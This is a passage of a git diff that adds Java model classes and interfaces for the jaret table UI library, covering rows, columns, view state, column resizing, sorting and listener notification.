{@inheritDoc} + */ + public synchronized void addHierarchicalViewstateListener(IHierarchicalTableViewStateListener htvsListener) { + if (_listeners == null) { + _listeners = new Vector(); + } + _listeners.add(htvsListener); + } + + /** + * {@inheritDoc} + */ + public void remHierarchicalViewStateListener(IHierarchicalTableViewStateListener htvsListener) { + if (_listeners != null) { + _listeners.remove(htvsListener); + } + } + + /** + * Inform listeners about a node expansion. + * + * @param node expanded node + */ + protected void fireNodeExpanded(ITableNode node) { + if (_listeners != null) { + for (IHierarchicalTableViewStateListener listener : _listeners) { + listener.nodeExpanded(node); + } + } + } + + /** + * Infor listeners about a folded node. + * + * @param node node that has been folded + */ + protected void fireNodeFolded(ITableNode node) { + if (_listeners != null) { + for (IHierarchicalTableViewStateListener listener : _listeners) { + listener.nodeFolded(node); + } + } + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultJaretTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultJaretTableModel.java new file mode 100644 index 0000000..ba2d164 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultJaretTableModel.java @@ -0,0 +1,126 @@ +/* + * File: DefaultJaretTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.ArrayList; +import java.util.List; + +/** + * Default Jaret table model. + * + * @author Peter Kliem + * @version $Id: DefaultJaretTableModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class DefaultJaretTableModel extends AbstractJaretTableModel implements IJaretTableModel { + /** rows. */ + protected List _rows = new ArrayList(); + /** columns. */ + protected List _cols = new ArrayList(); + + /** + * {@inheritDoc} + */ + public int getRowCount() { + return _rows.size(); + } + + /** + * {@inheritDoc} + */ + public IRow getRow(int idx) { + return _rows.get(idx); + } + + /** + * Add a row to the model. + * + * @param row row to add + */ + public void addRow(IRow row) { + _rows.add(row); + fireRowAdded(_rows.size() - 1, row); + } + + /** + * Add a row to the model at a specified index. + * + * @param index index the row will be inserted + * @param row row to add + */ + public void addRow(int index, IRow row) { + _rows.add(index, row); + fireRowAdded(index, row); + } + + /** + * Remove row from the model. + * + * @param row row to remove + */ + public void remRow(IRow row) { + if (_rows.contains(row)) { + _rows.remove(row); + fireRowRemoved(row); + } + } + + /** + * {@inheritDoc} + */ + public int getColumnCount() { + return _cols.size(); + } + + /** + * {@inheritDoc} + */ + public IColumn getColumn(int idx) { + return _cols.get(idx); + } + + /** + * Retrieve a column by it's ID. + * + * @param id id of the column to look for + * @return the column or null if no Column with the id could be found. + */ + public IColumn getColumn(String id) { + for (IColumn col : _cols) { + if (col.getId().equals(id)) { + return col; + } + } + return null; + } + + /** + * Add a column to the model. + * + * @param column col to add + */ + public void addColumn(IColumn column) { + _cols.add(column); + fireColumnAdded(_cols.size() - 1, column); + } + + /** + * Remove a column from the model. + * + * @param column col to remove + */ + public void remColumn(IColumn column) { + if (_cols.contains(column)) { + _cols.remove(column); + fireColumnRemoved(column); + } + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultTableViewState.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultTableViewState.java new file mode 100644 index 0000000..b5d9b2a --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/DefaultTableViewState.java @@ -0,0 +1,620 @@ +/* + * File: DefaultTableViewState.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Vector; + +import de.jaret.util.ui.table.renderer.DefaultCellStyleProvider; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.ICellStyleListener; +import de.jaret.util.ui.table.renderer.ICellStyleProvider; + +/** + * Default implementation of a TableViewState for the jaret table. + * + * @author Peter Kliem + * @version $Id: DefaultTableViewState.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public class DefaultTableViewState implements ITableViewState, ICellStyleListener { + /** map of row configurations. */ + protected Map _rowConfiguations = new HashMap(); + + /** map of column configurations. */ + protected Map _colConfigurations = new HashMap(); + + /** listener list for the tableviewstate listeners. */ + protected List _listeners; + + protected int _minimalRowHeight = 10; + + protected int _maximalRowHeight = -1; // undefined + + protected int _defaultRowHeight = 22; + + protected int _minimalColumnWidth = 10; + + protected int _maximalColumnWidth = -1; // undefined + + protected int _defaultColumnWidth = 100; + + /** the sorted list (for display) of columns. */ + protected List _sortedColumns; + + /** the cell style provider used. */ + protected ICellStyleProvider _cellStyleProvider; + + /** The colummn resize mode used by the table. */ + protected ColumnResizeMode _columnResizeMode; + + /** Default row height mode for new rows. */ + protected RowHeightMode _defaultRowHeightMode = RowHeightMode.OPTANDVAR; + + /** + * Constructor. + * + */ + public DefaultTableViewState() { + _cellStyleProvider = new DefaultCellStyleProvider(); + _cellStyleProvider.addCellStyleListener(this); + } + + /** + * {@inheritDoc} + */ + public int getRowHeight(IRow row) { + RowConfiguration configuration = getRowConfiguration(row); + return configuration.rowHeight; + } + + /** + * {@inheritDoc} + */ + public void setRowHeight(IRow row, int height) { + RowConfiguration configuration = getRowConfiguration(row); + if (configuration.rowHeight != height) { + configuration.rowHeight = height; + fireRowHeightChanged(row, height); + } + } + + /** + * {@inheritDoc} + */ + public void setRowHeight(int height) { + _defaultRowHeight = height; + // set for all rows known + for (RowConfiguration rconfig : _rowConfiguations.values()) { + rconfig.rowHeight = height; + } + // TODO may be optimized + for (IRow row : _rowConfiguations.keySet()) { + fireRowHeightChanged(row, height); + } + + } + + + /** + * {@inheritDoc} + */ + public RowHeightMode getRowHeigthMode(IRow row) { + RowConfiguration configuration = getRowConfiguration(row); + return configuration.heightMode; + } + + /** + * {@inheritDoc} + */ + public void setRowHeightMode(IRow row, RowHeightMode mode) { + RowConfiguration configuration = getRowConfiguration(row); + if (configuration.heightMode != mode) { + configuration.heightMode = mode; + fireRowHeightModeChanged(row, mode); + } + } + + /** + * {@inheritDoc} + */ + public void setRowHeightMode(RowHeightMode mode) { + _defaultRowHeightMode = mode; + // set for all rows known + for (RowConfiguration rconfig : _rowConfiguations.values()) { + rconfig.heightMode = mode; + } + for (IRow row : _rowConfiguations.keySet()) { + fireRowHeightModeChanged(row, mode); + } + } + + /** + * {@inheritDoc} + */ + public RowHeightMode getRowHeightMode() { + return _defaultRowHeightMode; + } + + private RowConfiguration getRowConfiguration(IRow row) { + RowConfiguration configuration = _rowConfiguations.get(row); + if (configuration == null) { + configuration = getDefaultRowConfiguration(); + _rowConfiguations.put(row, configuration); + } + return configuration; + } + + private RowConfiguration getDefaultRowConfiguration() { + RowConfiguration configuration = new RowConfiguration(); + configuration.rowHeight = _defaultRowHeight; + configuration.heightMode = _defaultRowHeightMode; + return configuration; + } + + private ColumnConfiguration getColumnConfiguration(IColumn col) { + ColumnConfiguration configuration = _colConfigurations.get(col); + if (configuration == null) { + configuration = getDefaultColumnConfiguration(col.getId()); + _colConfigurations.put(col, configuration); + } + return configuration; + } + + private ColumnConfiguration getColumnConfiguration(String columnId) { + for (ColumnConfiguration colConf : _colConfigurations.values()) { + if (colConf.id.equals(columnId)) { + return colConf; + } + } + return getDefaultColumnConfiguration(columnId); + } + + private ColumnConfiguration getDefaultColumnConfiguration(String colId) { + ColumnConfiguration configuration = new ColumnConfiguration(); + configuration.id = colId; + configuration.resizable = true; + configuration.columnWidth = _defaultColumnWidth; + return configuration; + } + + /** + * {@inheritDoc} + */ + public int getColumnWidth(IColumn column) { + ColumnConfiguration configuration = getColumnConfiguration(column); + return (int) Math.round(configuration.columnWidth); + } + + /** + * {@inheritDoc} + */ + public void setColumnWidth(IColumn column, int width) { + ColumnConfiguration configuration = getColumnConfiguration(column); + if (configuration.columnWidth != width) { + int oldVal = (int) Math.round(configuration.columnWidth); + if (_columnResizeMode == ColumnResizeMode.SUBSEQUENT) { + IColumn sCol = getSubsequentColumn(column); + if (sCol == null) { + // no subsequent col -> do it + configuration.columnWidth = width; + fireColumnWidthChanged(column, width); + } else { + int max = getColumnWidth(sCol) - _minimalColumnWidth; + int delta = width - oldVal; + delta = delta > max ? max : delta; + configuration.columnWidth += delta; + ColumnConfiguration sConfiguration = getColumnConfiguration(sCol); + sConfiguration.columnWidth -= delta; + fireColumnWidthsChanged(); + } + } else if (_columnResizeMode == ColumnResizeMode.ALLSUBSEQUENT || _columnResizeMode == ColumnResizeMode.ALL) { + List sCols = null; + if (_columnResizeMode == ColumnResizeMode.ALLSUBSEQUENT) { + sCols = getSubsequentColumns(column); + } else { + sCols = getAllVisibleCols(column); + } + if (sCols.size() == 0) { + // no subsequent cols -> do it + configuration.columnWidth = width; + fireColumnWidthChanged(column, width); + } else { + int max = 0; + for (IColumn c : sCols) { + max += getColumnWidth(c) - _minimalColumnWidth; + } + int delta = width - oldVal; + delta = delta > max ? max : delta; + configuration.columnWidth += delta; + double distDelta = (double) delta / (double) sCols.size(); + for (IColumn c : sCols) { + ColumnConfiguration sConfiguration = getColumnConfiguration(c); + sConfiguration.columnWidth -= distDelta; + } + fireColumnWidthsChanged(); + } + } else { // mode NONE + configuration.columnWidth = width; + fireColumnWidthChanged(column, width); + } + } + + } + + /** + * Creates a list of al visible cols without the given column. + * + * @param without the column to omit + * @return list of visible columns without a given one + */ + private List getAllVisibleCols(IColumn without) { + List result = new ArrayList(); + int idx = _sortedColumns.indexOf(without); + for (int i = 0; i < _sortedColumns.size(); i++) { + if (idx != i && getColumnVisible(_sortedColumns.get(i))) { + result.add(_sortedColumns.get(i)); + } + } + return result; + } + + /** + * Retrieve the next column after the given one. + * + * @param column reference column + * @return next column in the sorted columns or null if the given column is the last + */ + private IColumn getSubsequentColumn(IColumn column) { + List l = getSubsequentColumns(column); + if (l.size() > 0) { + return l.get(0); + } + return null; + } + + /** + * Retrieve the list of columns behind the given column. + * + * @param column reference column + * @return list of columns behind the given column in the sorted columns + */ + private List getSubsequentColumns(IColumn column) { + List result = new ArrayList(); + int idx = _sortedColumns.indexOf(column); + if (idx == -1) { + return result; + } + for (int i = idx + 1; i < _sortedColumns.size(); i++) { + if (getColumnVisible(_sortedColumns.get(i))) { + result.add(_sortedColumns.get(i)); + } + } + return result; + } + + /** + * {@inheritDoc} + */ + public boolean getColumnVisible(IColumn column) { + ColumnConfiguration configuration = getColumnConfiguration(column); + return configuration.visible; + } + + /** + * {@inheritDoc} + */ + public void setColumnVisible(IColumn column, boolean visible) { + ColumnConfiguration configuration = getColumnConfiguration(column); + if (configuration.visible != visible) { + configuration.visible = visible; + fireColumnVisibilityChanged(column, visible); + } + } + + /** + * {@inheritDoc} + */ + public void setColumnVisible(String columnId, boolean visible) { + ColumnConfiguration configuration = getColumnConfiguration(columnId); + if (configuration.visible != visible) { + configuration.visible = visible; + // TODO fireColumnVisibilityChanged(column, visible); + } + } + + /** + * {@inheritDoc} + */ + public List getSortedColumns() { + if (_sortedColumns == null) { + _sortedColumns = new ArrayList(); + } + return _sortedColumns; + } + + /** + * {@inheritDoc} + */ + public void setSortedColumns(List sortedColumns) { + _sortedColumns = sortedColumns; + fireColumnOrderChanged(); + } + + /** + * {@inheritDoc} + */ + public int getColumnSortingPosition(IColumn column) { + ColumnConfiguration configuration = getColumnConfiguration(column); + return configuration.sortingPosition; + } + + /** + * {@inheritDoc} + */ + public boolean getColumnSortingDirection(IColumn column) { + ColumnConfiguration configuration = getColumnConfiguration(column); + return configuration.sortingDirection; + } + + /** + * {@inheritDoc} + */ + public void setSorting(IColumn column) { + ColumnConfiguration conf = getColumnConfiguration(column); + if (conf.sortingPosition == 0) { + addShiftSorting(); + conf.sortingPosition = 1; + } else { + if (conf.sortingDirection) { + conf.sortingDirection = false; + } else { + conf.sortingDirection = true; + remSorting(conf.sortingPosition); + conf.sortingPosition = 0; + } + } + fireSortingChanged(); + } + + private void addShiftSorting() { + for (ColumnConfiguration cconf : _colConfigurations.values()) { + if (cconf.sortingPosition > 0) { + cconf.sortingPosition++; + } + } + } + + private void remSorting(int pos) { + for (ColumnConfiguration cconf : _colConfigurations.values()) { + if (cconf.sortingPosition > pos) { + cconf.sortingPosition--; + } + } + } + + /** + * Simple helper class holding the configuration for a row. + * + * @author Peter Kliem + * @version $Id: DefaultTableViewState.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ + public class RowConfiguration { + /** rowheightmode. */ + public RowHeightMode heightMode; + /** actual row height. */ + public int rowHeight; + } + + /** + * Simple helper class holding the onfiguration information for a column. + * + * @author Peter Kliem + * @version $Id: DefaultTableViewState.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ + public class ColumnConfiguration { + /** width of the column. */ + public double columnWidth; + /** resize allowance. */ + public boolean resizable = true; + /** true when visible. */ + public boolean visible = true; + /** id of the column. */ + public String id; + /** position in sorting. */ + public int sortingPosition; + /** sorting direction if sorting. */ + public boolean sortingDirection = true; // ascending as default + } + + /** + * {@inheritDoc} + */ + public synchronized void addTableViewStateListener(ITableViewStateListener tvsl) { + if (_listeners == null) { + _listeners = new Vector(); + } + _listeners.add(tvsl); + } + + /** + * {@inheritDoc} + */ + public void removeTableViewStateListener(ITableViewStateListener tvsl) { + if (_listeners != null) { + _listeners.remove(tvsl); + } + } + + /** + * Inform listeners about a change in the height of a row. + * + * @param row row + * @param newHeight new row height + */ + protected void fireRowHeightChanged(IRow row, int newHeight) { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.rowHeightChanged(row, newHeight); + } + } + } + + protected void fireRowHeightModeChanged(IRow row, RowHeightMode newMode) { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.rowHeightModeChanged(row, newMode); + } + } + } + + protected void fireColumnWidthChanged(IColumn column, int newWidth) { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.columnWidthChanged(column, newWidth); + } + } + } + + protected void fireColumnWidthsChanged() { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.columnWidthsChanged(); + } + } + } + + protected void fireColumnVisibilityChanged(IColumn column, boolean visible) { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.columnVisibilityChanged(column, visible); + } + } + } + + protected void fireSortingChanged() { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.sortingChanged(); + } + } + } + + protected void fireColumnOrderChanged() { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.columnOrderChanged(); + } + } + } + + protected void fireCellStyleChanged(IRow row, IColumn column, ICellStyle cellStyle) { + if (_listeners != null) { + for (ITableViewStateListener listener : _listeners) { + listener.cellStyleChanged(row, column, cellStyle); + } + } + } + + /** + * {@inheritDoc} + */ + public int getMinimalRowHeight() { + return _minimalRowHeight; + } + + /** + * {@inheritDoc} + */ + public void setMinimalRowHeight(int minimalRowHeight) { + _minimalRowHeight = minimalRowHeight; + } + + /** + * {@inheritDoc} + */ + public int getMinimalColWidth() { + return _minimalColumnWidth; + } + + /** + * {@inheritDoc} + */ + public void setMinimalColWidth(int minimalColumnWidth) { + _minimalColumnWidth = minimalColumnWidth; + } + + /** + * {@inheritDoc} + */ + public ICellStyleProvider getCellStyleProvider() { + return _cellStyleProvider; + } + + /** + * {@inheritDoc} + */ + public void setCellStyleProvider(ICellStyleProvider cellStyleProvider) { + if (_cellStyleProvider != null) { + _cellStyleProvider.remCellStyleListener(this); + } + _cellStyleProvider = cellStyleProvider; + _cellStyleProvider.addCellStyleListener(this); + } + + /** + * {@inheritDoc} + */ + public ICellStyle getCellStyle(IRow row, IColumn column) { + return _cellStyleProvider.getCellStyle(row, column); + } + + /** + * {@inheritDoc} inform listeners abou the received cell style change. + */ + public void cellStyleChanged(IRow row, IColumn column, ICellStyle style) { + fireCellStyleChanged(row, column, style); + } + + /** + * {@inheritDoc} + */ + public boolean columnResizingAllowed(IColumn column) { + ColumnConfiguration conf = getColumnConfiguration(column); + return conf.resizable; + } + + /** + * {@inheritDoc} + */ + public void setColumnResizingAllowed(IColumn column, boolean resizingAllowed) { + ColumnConfiguration conf = getColumnConfiguration(column); + conf.resizable = resizingAllowed; + } + + /** + * @return Returns the columnResizeMode. + */ + public ColumnResizeMode getColumnResizeMode() { + return _columnResizeMode; + } + + /** + * @param columnResizeMode The columnResizeMode to set. + */ + public void setColumnResizeMode(ColumnResizeMode columnResizeMode) { + _columnResizeMode = columnResizeMode; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/HierarchyColumn.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/HierarchyColumn.java new file mode 100644 index 0000000..4a32761 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/HierarchyColumn.java @@ -0,0 +1,84 @@ +/* + * File: HierarchyColumn.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Dummy column for placement of the hierarchy. + * + * @author Peter Kliem + * @version $Id: HierarchyColumn.java,v 1.1 2012-05-07 01:34:36 jason Exp $ + */ +public class HierarchyColumn extends AbstractColumn { + + /** + * {@inheritDoc} + */ + public String getId() { + return "hierarchycolumnID"; + } + + /** + * {@inheritDoc} + */ + public String getHeaderLabel() { + return "hierarchy"; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean displayHeader() { + return false; + } + + /** + * {@inheritDoc} + */ + public Object getValue(IRow row) { + return "hierarchy column"; + } + + /** + * {@inheritDoc} + */ + public void setValue(IRow row, Object value) { + } + + /** + * {@inheritDoc} + */ + public boolean supportsSorting() { + return false; + } + + /** + * {@inheritDoc} + */ + public Class getContentClass() { + return String.class; + } + + /** + * {@inheritDoc} + */ + public int compare(IRow o1, IRow o2) { + return 0; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isEditable() { + return false; + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IColumn.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IColumn.java new file mode 100644 index 0000000..d5894da --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IColumn.java @@ -0,0 +1,114 @@ +/* + * File: IColumn.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +import java.util.Comparator; + +/** + * Interface for a column used in a jaret table model. The unique id is only used for storing view state + * information. + * + * @author Peter Kliem + * @version $Id: IColumn.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IColumn extends Comparator { + /** + * Id is used for storing the column width. It has to be unique among all columns if the use of the view state + * persisting support will be used. + * + * @return unique id. + */ + String getId(); + + /** + * Return a textual label to be displayed as the column header label. + * + * @return header label + */ + String getHeaderLabel(); + + /** + * Should return true for a header to be painted. Note that this ia a small violation of the separation between + * viewstate and data. However this can be tolerated. + * + * @return true when a header should be painted + */ + boolean displayHeader(); + + /** + * Retrieve the value of the column for the given row. + * + * @param row the row + * @return the column value for the given row. + */ + Object getValue(IRow row); + + /** + * Set the value of the coloumn for a given row. + * + * @param row the row + * @param value value to set + */ + void setValue(IRow row, Object value); + + /** + * Check whether the column supports sorting. + * + * @return true when sorting is supported. + */ + boolean supportsSorting(); + + /** + * To allow null values as column value and to support cell editing and displaying a column may support this method + * for supplying the information. + * + * @return the contained class or null if the information is not available. + */ + Class getContentClass(); + + /** + * To specify a content class per row this method may be implemented to reflect the appropriate class. + * + * @param row row of which to get the content class + * @return contained class or null if the information is not available. + */ + Class getContentClass(IRow row); + + /** + * Check whether the column can be edited. + * + * @return true if the values of the columns can be changed + */ + boolean isEditable(); + + /** + * Check whether a a specific cell of the column can be edited. + * + * @param row row specifying the cell in the column + * @return true if the ell can be changed + */ + boolean isEditable(IRow row); + + /** + * Add a listener to listen on changes on the column. + * + * @param cl listener to add + */ + void addColumnListener(IColumnListener cl); + + /** + * Remove a column listener. + * + * @param cl listener to remove + */ + void remColumnListener(IColumnListener cl); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IColumnListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IColumnListener.java new file mode 100644 index 0000000..9f85559 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IColumnListener.java @@ -0,0 +1,29 @@ +/* + * File: IColumnListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Interface for listening on value changes on a specific cell in a column. + * + * @author Peter Kliem + * @version $Id: IColumnListener.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IColumnListener { + /** + * Called when a value in a column changed. + * + * @param row the row + * @param column the column + * @param oldValue the old value + * @param newValue the new value + */ + void valueChanged(IRow row, IColumn column, Object oldValue, Object newValue); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalJaretTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalJaretTableModel.java new file mode 100644 index 0000000..d844796 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalJaretTableModel.java @@ -0,0 +1,26 @@ +/* + * File: IHierarchicalJaretTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Hierarchical model for the jaret table. + * + * @author Peter Kliem + * @version $Id: IHierarchicalJaretTableModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IHierarchicalJaretTableModel { + /** + * Retrieve the root node. + * + * @return the root node + */ + ITableNode getRootNode(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalTableViewState.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalTableViewState.java new file mode 100644 index 0000000..e2b40fb --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalTableViewState.java @@ -0,0 +1,57 @@ +/* + * File: IHierarchicalTableViewState.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Interface describing a hierarchical tabel viewstate. Extends the falt table viewstate. + * + * @author Peter Kliem + * @version $Id: IHierarchicalTableViewState.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IHierarchicalTableViewState extends ITableViewState { + /** + * Check whether a node is expanded. + * + * @param node node to check + * @return true for expanded + */ + boolean isExpanded(ITableNode node); + + /** + * Set the expanded state for a single node. + * + * @param node node + * @param expanded true for expanded + */ + void setExpanded(ITableNode node, boolean expanded); + + /** + * Set the expanded state for a node and all of it's children. + * + * @param node node to begin with + * @param expanded expanded state + */ + void setExpandedRecursive(ITableNode node, boolean expanded); + + /** + * Add a view state listener. + * + * @param htvsListener listener to add + */ + void addHierarchicalViewstateListener(IHierarchicalTableViewStateListener htvsListener); + + /** + * Remove a view state listener. + * + * @param htvsListener listener to remove + */ + void remHierarchicalViewStateListener(IHierarchicalTableViewStateListener htvsListener); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalTableViewStateListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalTableViewStateListener.java new file mode 100644 index 0000000..b1f5d74 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IHierarchicalTableViewStateListener.java @@ -0,0 +1,34 @@ +/* + * File: IHierarchicalTableViewStateListener.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Listener interface for listening on expanded/folded events. + * + * @author Peter Kliem + * @version $Id: IHierarchicalTableViewStateListener.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IHierarchicalTableViewStateListener { + /** + * Node has been expanded. + * + * @param node node that has been expanded. + */ + void nodeExpanded(ITableNode node); + + /** + * Node has been folded/collapsed. + * + * @param node node that had been folded + */ + void nodeFolded(ITableNode node); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableCell.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableCell.java new file mode 100644 index 0000000..1dc18fc --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableCell.java @@ -0,0 +1,33 @@ +/* + * File: IJaretTableCell.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Interface describing the location (in the data model) of a single cell. + * + * @author Peter Kliem + * @version $Id: IJaretTableCell.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IJaretTableCell { + /** + * Retrieve the row. + * + * @return the row of the cell + */ + IRow getRow(); + + /** + * Retrieve the column. + * + * @return the column of the cell + */ + IColumn getColumn(); +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableModel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableModel.java new file mode 100644 index 0000000..7b15bbf --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableModel.java @@ -0,0 +1,98 @@ +/* + * File: IJaretTableModel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.model; + +/** + * Interface for the table model used by the jaret table. The model should always provide all data. Sorting and + * filtering is done by the jaret table displaying the data. + * + * @author Peter Kliem + * @version $Id: IJaretTableModel.java,v 1.1 2012-05-07 01:34:37 jason Exp $ + */ +public interface IJaretTableModel { + /** + * Return the number of rows in the model. + * + * @return number of rows + */ + int getRowCount(); + + /** + * Retrieve a specific row. + * + * @param idx index of the row + * @return the row + */ + IRow getRow(int idx); + + /** + * Retrieve the number of columns. + * + * @return the number of columns. + */ + int getColumnCount(); + + /** + * Retrieve a column specified by it's index. + * + * @param idx index of the column to retrieve + * @return column at index idx + */ + IColumn getColumn(int idx); + + /** + * Retrieve a column specified by it's id. + * + * @param id id of the column to retrieve + * @return column for the given id or null if the column coud not be found + */ + IColumn getColumn(String id); + + /** + * Check whether a cell is editable. + * + * @param row row of the cell + * @param column column of the cell + * @return true for an editable cell + */ + boolean isEditable(IRow row, IColumn column); + + /** + * Set the value of a particular cell. + * + * @param row row of the cell + * @param column column of the cell + * @param value the value to be stored + */ + void setValue(IRow row, IColumn column, Object value); + + /** + * Add a column. + * + * @param column column to add + */ + void addColumn(IColumn column); + + /** + * Add a listener listening for changes on the model. + * + * @param jtml listener to add + */ + void addJaretTableModelListener(IJaretTableModelListener jtml); + + /** + * Remove a listener on the model. + * + * @param jtml listener to remove + */ + void removeJaretTableModelListener(IJaretTableModelListener jtml); + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableModelListener.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableModelListener.java new file mode 100644 index 0000000..0d8b8ef --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/model/IJaretTableModelListener.java @@ -0,0 +1,78 @@ +/* + 